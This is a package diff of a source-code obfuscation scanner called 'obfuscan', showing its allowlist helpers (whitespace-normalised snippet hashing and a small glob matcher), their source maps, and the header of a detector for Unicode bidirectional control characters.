## License
|
|
223
|
+
|
|
224
|
+
Apache-2.0. See [LICENSE](./LICENSE).
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Allowlist load/save/match helpers.
|
|
3
|
+
*
|
|
4
|
+
* On-disk format: `.obfuscan/allowlist.json`
|
|
5
|
+
*
|
|
6
|
+
* ```json
|
|
7
|
+
* {
|
|
8
|
+
* "paths": [{ "pattern": "vendor/**", "maxSeverity": "warn", "reason": "third-party bundle" }],
|
|
9
|
+
* "snippets": [{ "ruleId": "obf.high-entropy-literal", "snippetHash": "abc...", "addedBy": "alice" }]
|
|
10
|
+
* }
|
|
11
|
+
* ```
|
|
12
|
+
*
|
|
13
|
+
* `hashSnippet()` normalizes whitespace before hashing so suppressions
|
|
14
|
+
* survive reformatters.
|
|
15
|
+
*/
|
|
16
|
+
import type { Allowlist, Finding, PathAllowlistEntry, SnippetAllowlistEntry } from "./types.js";
|
|
17
|
+
/** sha256(normalize(snippet)) as lowercase hex. */
|
|
18
|
+
export declare function hashSnippet(snippet: string): string;
|
|
19
|
+
/** Load `.obfuscan/allowlist.json` from a workspace root. Returns `{}` if missing. */
|
|
20
|
+
export declare function loadAllowlist(workspaceRoot: string): Promise<Allowlist>;
|
|
21
|
+
export declare function saveAllowlist(workspaceRoot: string, allowlist: Allowlist): Promise<void>;
|
|
22
|
+
/** True if `finding` should be suppressed by the given allowlist. */
|
|
23
|
+
export declare function matchesAllowlist(finding: Finding, allowlist: Allowlist, filePath: string): boolean;
|
|
24
|
+
export type { PathAllowlistEntry, SnippetAllowlistEntry };
|
|
25
|
+
//# sourceMappingURL=allowlist.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"allowlist.d.ts","sourceRoot":"","sources":["../src/allowlist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;GAcG;AAKH,OAAO,KAAK,EACV,SAAS,EACT,OAAO,EACP,kBAAkB,EAClB,qBAAqB,EAEtB,MAAM,YAAY,CAAC;AAIpB,mDAAmD;AACnD,wBAAgB,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAGnD;AAOD,sFAAsF;AACtF,wBAAsB,aAAa,CAAC,aAAa,EAAE,MAAM,GAAG,OAAO,CAAC,SAAS,CAAC,CAQ7E;AAED,wBAAsB,aAAa,CACjC,aAAa,EAAE,MAAM,EACrB,SAAS,EAAE,SAAS,GACnB,OAAO,CAAC,IAAI,CAAC,CAKf;AAID,qEAAqE;AACrE,wBAAgB,gBAAgB,CAC9B,OAAO,EAAE,OAAO,EAChB,SAAS,EAAE,SAAS,EACpB,QAAQ,EAAE,MAAM,GACf,OAAO,CAsBT;AAmED,YAAY,EAAE,kBAAkB,EAAE,qBAAqB,EAAE,CAAC"}
|
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Allowlist load/save/match helpers.
|
|
3
|
+
*
|
|
4
|
+
* On-disk format: `.obfuscan/allowlist.json`
|
|
5
|
+
*
|
|
6
|
+
* ```json
|
|
7
|
+
* {
|
|
8
|
+
* "paths": [{ "pattern": "vendor/**", "maxSeverity": "warn", "reason": "third-party bundle" }],
|
|
9
|
+
* "snippets": [{ "ruleId": "obf.high-entropy-literal", "snippetHash": "abc...", "addedBy": "alice" }]
|
|
10
|
+
* }
|
|
11
|
+
* ```
|
|
12
|
+
*
|
|
13
|
+
* `hashSnippet()` normalizes whitespace before hashing so suppressions
|
|
14
|
+
* survive reformatters.
|
|
15
|
+
*/
|
|
16
|
+
import { createHash } from "node:crypto";
|
|
17
|
+
import * as fs from "node:fs/promises";
|
|
18
|
+
import * as path from "node:path";
|
|
19
|
+
const SEVERITY_RANK = { info: 0, warn: 1, block: 2 };
|
|
20
|
+
/** sha256(normalize(snippet)) as lowercase hex. */
|
|
21
|
+
export function hashSnippet(snippet) {
|
|
22
|
+
const normalized = normalizeSnippet(snippet);
|
|
23
|
+
return createHash("sha256").update(normalized, "utf8").digest("hex");
|
|
24
|
+
}
|
|
25
|
+
function normalizeSnippet(s) {
|
|
26
|
+
// Collapse all whitespace to single spaces; strip leading/trailing.
|
|
27
|
+
return s.replace(/\s+/g, " ").trim();
|
|
28
|
+
}
|
|
29
|
+
/** Load `.obfuscan/allowlist.json` from a workspace root. Returns `{}` if missing. */
|
|
30
|
+
export async function loadAllowlist(workspaceRoot) {
|
|
31
|
+
const file = path.join(workspaceRoot, ".obfuscan", "allowlist.json");
|
|
32
|
+
try {
|
|
33
|
+
const raw = await fs.readFile(file, "utf8");
|
|
34
|
+
return JSON.parse(raw);
|
|
35
|
+
}
|
|
36
|
+
catch {
|
|
37
|
+
return {};
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
export async function saveAllowlist(workspaceRoot, allowlist) {
|
|
41
|
+
const dir = path.join(workspaceRoot, ".obfuscan");
|
|
42
|
+
await fs.mkdir(dir, { recursive: true });
|
|
43
|
+
const file = path.join(dir, "allowlist.json");
|
|
44
|
+
await fs.writeFile(file, JSON.stringify(allowlist, null, 2) + "\n", "utf8");
|
|
45
|
+
}
|
|
46
|
+
// ─── Matching ──────────────────────────────────────────────────────────────
|
|
47
|
+
/** True if `finding` should be suppressed by the given allowlist. */
|
|
48
|
+
export function matchesAllowlist(finding, allowlist, filePath) {
|
|
49
|
+
// Path entries
|
|
50
|
+
for (const entry of allowlist.paths ?? []) {
|
|
51
|
+
if (!matchesPathEntry(filePath, entry))
|
|
52
|
+
continue;
|
|
53
|
+
if (entry.ruleId && !ruleMatches(finding.ruleId, entry.ruleId))
|
|
54
|
+
continue;
|
|
55
|
+
if (entry.maxSeverity) {
|
|
56
|
+
// Suppress only findings at or below the ceiling.
|
|
57
|
+
if (SEVERITY_RANK[finding.severity] <= SEVERITY_RANK[entry.maxSeverity]) {
|
|
58
|
+
return true;
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
else {
|
|
62
|
+
return true;
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
// Snippet entries
|
|
66
|
+
for (const entry of allowlist.snippets ?? []) {
|
|
67
|
+
if (!ruleMatches(finding.ruleId, entry.ruleId))
|
|
68
|
+
continue;
|
|
69
|
+
if (hashSnippet(finding.snippet) === entry.snippetHash)
|
|
70
|
+
return true;
|
|
71
|
+
}
|
|
72
|
+
return false;
|
|
73
|
+
}
|
|
74
|
+
function ruleMatches(ruleId, entryRuleId) {
|
|
75
|
+
// Exact match, or prefix-with-dot match: `obf.decode-then-exec` matches
|
|
76
|
+
// `obf.decode-then-exec.python`.
|
|
77
|
+
return ruleId === entryRuleId || ruleId.startsWith(entryRuleId + ".");
|
|
78
|
+
}
|
|
79
|
+
function matchesPathEntry(filePath, entry) {
|
|
80
|
+
return globMatch(entry.pattern, filePath);
|
|
81
|
+
}
|
|
82
|
+
// ─── Tiny minimatch-compatible glob ────────────────────────────────────────
|
|
83
|
+
//
|
|
84
|
+
// Supports the common subset:
|
|
85
|
+
// * matches any chars except /
|
|
86
|
+
// ** matches any chars including /
|
|
87
|
+
// ? matches one char except /
|
|
88
|
+
// [abc] character class
|
|
89
|
+
//
|
|
90
|
+
// This is sufficient for allowlist patterns and avoids a runtime dependency.
|
|
91
|
+
function globMatch(pattern, str) {
|
|
92
|
+
const re = globToRegex(pattern);
|
|
93
|
+
return re.test(str);
|
|
94
|
+
}
|
|
95
|
+
function globToRegex(pattern) {
|
|
96
|
+
let out = "^";
|
|
97
|
+
for (let i = 0; i < pattern.length; i++) {
|
|
98
|
+
const c = pattern[i];
|
|
99
|
+
if (c === "*") {
|
|
100
|
+
if (pattern[i + 1] === "*") {
|
|
101
|
+
// ** → match anything (incl. /)
|
|
102
|
+
out += ".*";
|
|
103
|
+
i++;
|
|
104
|
+
// optional trailing slash collapse: `**/` matches zero or more dirs
|
|
105
|
+
if (pattern[i + 1] === "/") {
|
|
106
|
+
i++;
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
else {
|
|
110
|
+
out += "[^/]*";
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
else if (c === "?") {
|
|
114
|
+
out += "[^/]";
|
|
115
|
+
}
|
|
116
|
+
else if (c === "[") {
|
|
117
|
+
// copy until ']'
|
|
118
|
+
let j = i + 1;
|
|
119
|
+
let cls = "[";
|
|
120
|
+
while (j < pattern.length && pattern[j] !== "]") {
|
|
121
|
+
cls += pattern[j];
|
|
122
|
+
j++;
|
|
123
|
+
}
|
|
124
|
+
cls += "]";
|
|
125
|
+
out += cls;
|
|
126
|
+
i = j;
|
|
127
|
+
}
|
|
128
|
+
else if (c && /[.+^${}()|\\]/.test(c)) {
|
|
129
|
+
out += "\\" + c;
|
|
130
|
+
}
|
|
131
|
+
else {
|
|
132
|
+
out += c ?? "";
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
out += "$";
|
|
136
|
+
return new RegExp(out);
|
|
137
|
+
}
|
|
138
|
+
//# sourceMappingURL=allowlist.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"allowlist.js","sourceRoot":"","sources":["../src/allowlist.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* obf.bidi-control — Layer A.
|
|
3
|
+
*
|
|
4
|
+
* Flags Unicode bidirectional control characters in source code (Trojan
|
|
5
|
+
* Source, CVE-2021-42574). These are invisible characters that can make
|
|
6
|
+
* source code render differently than it executes.
|
|
7
|
+
*
|
|
8
|
+
* Always blocks: there is essentially no legitimate reason for these to
|
|
9
|
+
* appear in source. They come up in localized strings rarely, but those
|
|
10
|
+
* should be in resource files, not code.
|
|
11
|
+
*/
|
|
12
|
+
import type { Detector } from "../types.js";
|
|
13
|
+
export declare const bidiControlChar: Detector;
|
|
14
|
+
//# sourceMappingURL=bidi-control.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"bidi-control.d.ts","sourceRoot":"","sources":["../../src/detectors/bidi-control.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,OAAO,KAAK,EAAE,QAAQ,EAAwB,MAAM,aAAa,CAAC;AAyBlE,eAAO,MAAM,eAAe,EAAE,QAsC7B,CAAC"}
|